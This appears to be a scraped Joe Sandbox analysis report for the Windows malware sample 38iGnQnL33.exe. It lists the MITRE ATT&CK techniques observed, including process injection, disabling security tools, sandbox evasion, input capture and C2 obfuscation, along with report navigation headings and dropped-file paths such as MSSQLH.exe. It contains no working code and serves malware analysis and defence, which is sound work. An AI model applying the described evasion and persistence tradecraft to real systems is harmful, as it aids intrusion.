Opcode ID: 45472ee10746466640046a57415992a82ec3bcf8cc99e98f553a2f88bee92fcc
Instruction ID: d78fb7923ccf8568bd6a30842e5185310babbdb1fc0a7511da0420bca314d79d
Opcode Fuzzy Hash: 45472ee10746466640046a57415992a82ec3bcf8cc99e98f553a2f88bee92fcc
Instruction Fuzzy Hash: 83D04C756C4201BBEE109BA0DD9DB6B7BACEB84751F10D418F28986191C674D800CF65

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	Command: Command Execution, Process: Process Creation, User Account: User Account Creation
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Firewall: Firewall Disable, Firewall: Firewall Rule Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.
Tactics:	Defense Evasion
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Deletion, File: File Metadata, File: File Modification, Firewall: Firewall Rule Modification, Network Traffic: Network Traffic Content, Process: OS API Execution, Process: Process Creation, Scheduled Job: Scheduled Job Modification, User Account: User Account Authentication, User Account: User Account Deletion, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, Google Workspace, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 38iGnQnL33.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Exploits

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

DDoS

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.chk

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\Desktop\MSSQLH.exe

C:\Windows\Logs\RunDllExe.dll

Windows Analysis Report
38iGnQnL33.exe

Description:	Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as `sc query` , `tasklist /svc` , `systemctl --type=service` , and `net start` .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre